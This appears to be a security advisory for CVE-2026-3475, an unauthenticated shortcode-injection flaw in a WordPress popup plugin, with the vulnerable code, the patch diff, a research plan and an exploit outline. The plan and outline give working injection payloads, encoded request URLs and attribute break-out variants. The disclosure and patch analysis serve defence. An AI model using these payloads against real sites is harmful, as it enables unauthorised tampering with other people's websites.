CVE-2026-3475

Instant Popup Builder <= 1.1.7 - Unauthenticated Arbitrary Shortcode Execution via 'token' Parameter

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.1.8
Patched in
1d
Time to patch

Description

The Instant Popup Builder plugin for WordPress is vulnerable to Unauthenticated Arbitrary Shortcode Execution in all versions up to and including 1.1.7. This is due to the handle_email_verification_page() function constructing a shortcode string from user-supplied GET parameters (token, email) and passing it to do_shortcode() without properly sanitizing square bracket characters, combined with missing authorization checks on the init hook. While sanitize_text_field() and esc_attr() are applied, neither function strips or escapes square bracket characters ([ and ]). WordPress's shortcode regex uses [^\]\/]* to match content inside shortcode tags, meaning a ] character in the token value prematurely closes the shortcode tag. This makes it possible for unauthenticated attackers to inject and execute arbitrary registered shortcodes by crafting a malicious token parameter containing ] followed by arbitrary shortcode syntax.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.7
PublishedMarch 18, 2026
Last updatedMarch 19, 2026
Affected plugininstant-popup-builder

What Changed in the Fix

Changes introduced in v1.1.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation strategy for **CVE-2026-3475**, a vulnerability in the Instant Popup Builder plugin allowing unauthenticated users to execute arbitrary shortcodes. --- ### 1. Vulnerability Summary The vulnerability exists in the `Instant_Popup_Subscription_Public::…

Show full research plan

This plan outlines the research and exploitation strategy for CVE-2026-3475, a vulnerability in the Instant Popup Builder plugin allowing unauthenticated users to execute arbitrary shortcodes.


1. Vulnerability Summary

The vulnerability exists in the Instant_Popup_Subscription_Public::handle_email_verification_page() function, which is hooked to WordPress's init action. This function takes user-supplied input from the token and email GET parameters to dynamically build a shortcode string.

The constructed string follows a pattern similar to: [ipb_verify_email token="VALUE_FROM_TOKEN" email="VALUE_FROM_EMAIL"]. This string is then passed to do_shortcode().

Because sanitize_text_field() and esc_attr() are used but neither strips the ] character, an attacker can break out of the intended shortcode's attributes and inject a new shortcode. The WordPress shortcode parser stops matching an attribute value when it encounters the first ] character.

2. Attack Vector Analysis

  • Endpoint: Any frontend URL (e.g., / or /index.php).
  • Hook: init (registered in public/class-instant-popup-subscription-public.php).
  • Vulnerable Function: handle_email_verification_page().
  • Payload Parameters: token and email.
  • Authentication: None (Unauthenticated).
  • Preconditions: The plugin must be active and the "Subscription" functionality initialized (default in most installs).

3. Code Flow

  1. Request Entry: A GET request is sent to the WordPress site.
  2. Hook Trigger: The init hook fires, calling Instant_Popup_Subscription_Public::handle_email_verification_page().
  3. Parameter Check: The function checks if token and email are present in $_GET.
  4. Shortcode Construction:
    // Logical reconstruction based on vulnerability description
    $token = sanitize_text_field($_GET['token']);
    $email = sanitize_text_field($_GET['email']);
    $shortcode = '[ipb_verify_email token="' . $token . '" email="' . $email . '"]';
    
  5. Injection point: If token is 123"][gallery][", the string becomes:
    [ipb_verify_email token="123"][gallery][" email="..."]
  6. Execution Sink: echo do_shortcode($shortcode);
    WordPress parses this as two shortcodes: [ipb_verify_email token="123"] followed by [gallery].

4. Nonce Acquisition Strategy

Based on the vulnerability description and the nature of "Email Verification" pages, this specific endpoint does not require a nonce. Verification links are typically sent via external emails and must work for users who are not currently in an active session on the site.

However, if an unexpected check exists, the following strategy will be used:

  1. Identify Script Variable: The plugin localizes script data under the key instnat_ajax_subscriber (verbatim from public/class-instant-popup-subscription-public.php).
  2. Create Trigger Page: Create a page with the subscription shortcode to ensure the plugin's public JS is loaded.
    wp post create --post_type=page --post_status=publish --post_content='[ipb_subscription]'
  3. Browser Extraction:
    Navigate to the created page and run:
    browser_eval("window.instnat_ajax_subscriber?.verification_nonce")

5. Exploitation Strategy

We will use a standard WordPress shortcode that produces visible output to prove execution.

Step 1: Test Connectivity
Send a basic request to ensure the handle_email_verification_page logic triggers.

  • URL: /?token=test&email=test@example.com
  • Tool: http_request

Step 2: Inject Shortcode
Craft a payload that closes the token attribute and injects a [wp_version] or [gallery] shortcode.

  • Payload: token=pwned"][gallery][&email=attacker@example.com
  • Encoded Payload: token=pwned%22%5D%5Bgallery%5D%5B&email=attacker%40example.com

Step 3: Execute via http_request

{
  "method": "GET",
  "url": "http://localhost:8080/?token=pwned%22%5D%5Bgallery%5D%5B&email=attacker%40example.com"
}

6. Test Data Setup

  1. Install Plugin: Ensure instant-popup-builder version 1.1.7 is active.
  2. No Auth Required: Ensure the test is performed in an unauthenticated session (clear cookies/use fresh browser context).
  3. Verify Registered Shortcodes: Use wp eval "global \$shortcode_tags; print_r(array_keys(\$shortcode_tags));" to confirm ipb_verify_email and gallery are registered.

7. Expected Results

  • Success: The HTTP response body contains the HTML output of the injected shortcode (e.g., a gallery container <div id='gallery-1' ...> or the WordPress version number).
  • Execution Evidence: The original ipb_verify_email shortcode might fail silently or print a "verification failed" message, but the appended shortcode output will be present in the HTML.

8. Verification Steps

  1. Log Check: Observe the site's HTML output for the presence of the injected shortcode's footprint.
  2. WP-CLI Version Check: wp plugin get instant-popup-builder --field=version (Ensure it is 1.1.7).
  3. Manual Trace: Confirm that sending the malicious token results in the server returning content that is not part of the standard verification form.

9. Alternative Approaches

If [gallery] is disabled or filtered:

  • Try Plugin Shortcodes: Use [ipb_subscription] to see if the subscription popup HTML is rendered into the page response.
  • Try [audio] or [video]: These are standard and usually produce distinct HTML elements.
  • Attribute Break-out Variations:
    • token=1' ][gallery][ (using single quotes if the plugin uses single quotes in the backend).
    • token=1] [gallery] [ (if the plugin doesn't wrap values in quotes at all).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Instant Popup Builder plugin for WordPress is vulnerable to unauthenticated arbitrary shortcode execution. This occurs because the plugin dynamically constructs shortcode strings from user-supplied GET parameters (token, email, campaign) and passes them to do_shortcode() without removing square bracket characters, allowing attackers to 'break out' of the intended shortcode and execute any registered shortcode on the site.

Vulnerable Code

// public/class-instant-popup-subscription-public.php L1263

			// Add content filter to show unsubscribe form

			add_filter('the_content', function($content) {
				// Always show unsubscribe form for unsubscribe requests

				// Check for encrypted email parameter

				// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized

				$encrypted_email = isset($_GET['email']) ? sanitize_text_field(wp_unslash($_GET['email'])) : '';
				// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized

				$campaign_id = isset($_GET['campaign']) ? sanitize_text_field(wp_unslash($_GET['campaign'])) : '';

				$shortcode = '[ipb_unsubscribe';
				if (!empty($encrypted_email)) {
					$shortcode .= ' email="' . esc_attr($encrypted_email) . '"';
				}
				if (!empty($campaign_id)) {
					$shortcode .= ' campaign="' . esc_attr($campaign_id) . '"';
			}
			$shortcode .= ']';

			return do_shortcode( (string) ( $shortcode ?? '' ) );
		});

---

// public/class-instant-popup-subscription-public.php L1755

				// Add content filter to show verification form

				add_filter('the_content', function($content) {
					if (is_page() || is_single()) {
						// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized

						$email = isset($_GET['email']) ? sanitize_email(wp_unslash($_GET['email'])) : '';
						// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized

						$token = isset($_GET['token']) ? sanitize_text_field(wp_unslash($_GET['token'])) : '';

						$shortcode = '[ipb_verify_email';
						if (!empty($email)) {
							$shortcode .= ' email="' . esc_attr($email) . '"';
						}
						if (!empty($token)) {
							$shortcode .= ' token="' . esc_attr($token) . '"';
						}
					$shortcode .= ']';

					return do_shortcode( (string) ( $shortcode ?? '' ) );
					}
					return $content;
				});

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/instant-popup-builder/1.1.7/public/class-instant-popup-subscription-public.php /home/deploy/wp-safety.org/data/plugin-versions/instant-popup-builder/1.1.8/public/class-instant-popup-subscription-public.php
--- /home/deploy/wp-safety.org/data/plugin-versions/instant-popup-builder/1.1.7/public/class-instant-popup-subscription-public.php	2026-02-26 16:58:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/instant-popup-builder/1.1.8/public/class-instant-popup-subscription-public.php	2026-03-08 09:05:08.000000000 +0000
@@ -1263,23 +1270,11 @@
 			// Add content filter to show unsubscribe form
 			add_filter('the_content', function($content) {
 				// Always show unsubscribe form for unsubscribe requests
-				// Check for encrypted email parameter
-				// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized
-				$encrypted_email = isset($_GET['email']) ? sanitize_text_field(wp_unslash($_GET['email'])) : '';
-				// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized
-				$campaign_id = isset($_GET['campaign']) ? sanitize_text_field(wp_unslash($_GET['campaign'])) : '';
-
-				$shortcode = '[ipb_unsubscribe';
-				if (!empty($encrypted_email)) {
-					$shortcode .= ' email="' . esc_attr($encrypted_email) . '"';
-				}
-				if (!empty($campaign_id)) {
-					$shortcode .= ' campaign="' . esc_attr($campaign_id) . '"';
-			}
-			$shortcode .= ']';
+				$request_args = $this->get_sanitized_unsubscribe_request_params();
 
-			return do_shortcode( (string) ( $shortcode ?? '' ) );
-		});
+				// Security: never pass request-derived data through do_shortcode().
+				return $this->render_unsubscribe_form_from_request($request_args);
+			});
 
 		// Also add a template redirect for direct URL access
 		add_action('template_redirect', function() {
@@ -1755,24 +1740,139 @@
 				// Add content filter to show verification form
 				add_filter('the_content', function($content) {
 					if (is_page() || is_single()) {
-						// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized
-						$email = isset($_GET['email']) ? sanitize_email(wp_unslash($_GET['email'])) : '';
-						// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized
-						$token = isset($_GET['token']) ? sanitize_text_field(wp_unslash($_GET['token'])) : '';
-
-						$shortcode = '[ipb_verify_email';
-						if (!empty($email)) {
-							$shortcode .= ' email="' . esc_attr($email) . '"';
-						}
-						if (!empty($token)) {
-							$shortcode .= ' token="' . esc_attr($token) . '"';
+						$request_args = $this->get_sanitized_verification_request_params();
+
+						// Security: never build shortcode strings from request-derived values.
+						return $this->render_verification_form_from_request($request_args);
 					}
-					$shortcode .= ']';
-
-					return do_shortcode( (string) ( $shortcode ?? '' ) );
+					return $content;
 				});
 			}
 		}
+
+		/**
+		 * Build a safe array of verification request params.
+		 *
+		 * @return array{email: string, token: string}
+		 */
+		private function get_sanitized_verification_request_params()
+		{
+			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized
+			$email = isset($_GET['email']) ? sanitize_email(wp_unslash($_GET['email'])) : '';
+			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized
+			$token = isset($_GET['token']) ? sanitize_text_field(wp_unslash($_GET['token'])) : '';
+
+			$email = str_replace(['[', ']'], '', $email);
+			$token = str_replace(['[', ']'], '', $token);
+
+			if ($token !== '' && !preg_match('/^[A-Za-z0-9\-_]{10,200}$/', $token)) {
+				$token = '';
+			}
+
+			return [
+				'email' => $email,
+				'token' => $token,
+			];
+		}

Exploit Outline

The exploit targets unauthenticated endpoints that handle email verification or unsubscription. An attacker sends a GET request to any public WordPress page (e.g., the homepage) with the parameter `verify-email=true`. By crafting the `token` parameter to contain shortcode closure and injection syntax (e.g., `token=xyz"][gallery]["`), the attacker forces the plugin's `handle_email_verification_page` function to construct a string like `[ipb_verify_email email="..." token="xyz"][gallery][" "]`. When this string is passed to `do_shortcode()`, the WordPress shortcode parser executes the injected `[gallery]` shortcode (or any other shortcode) and renders its output into the page content. No authentication or nonces are required.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.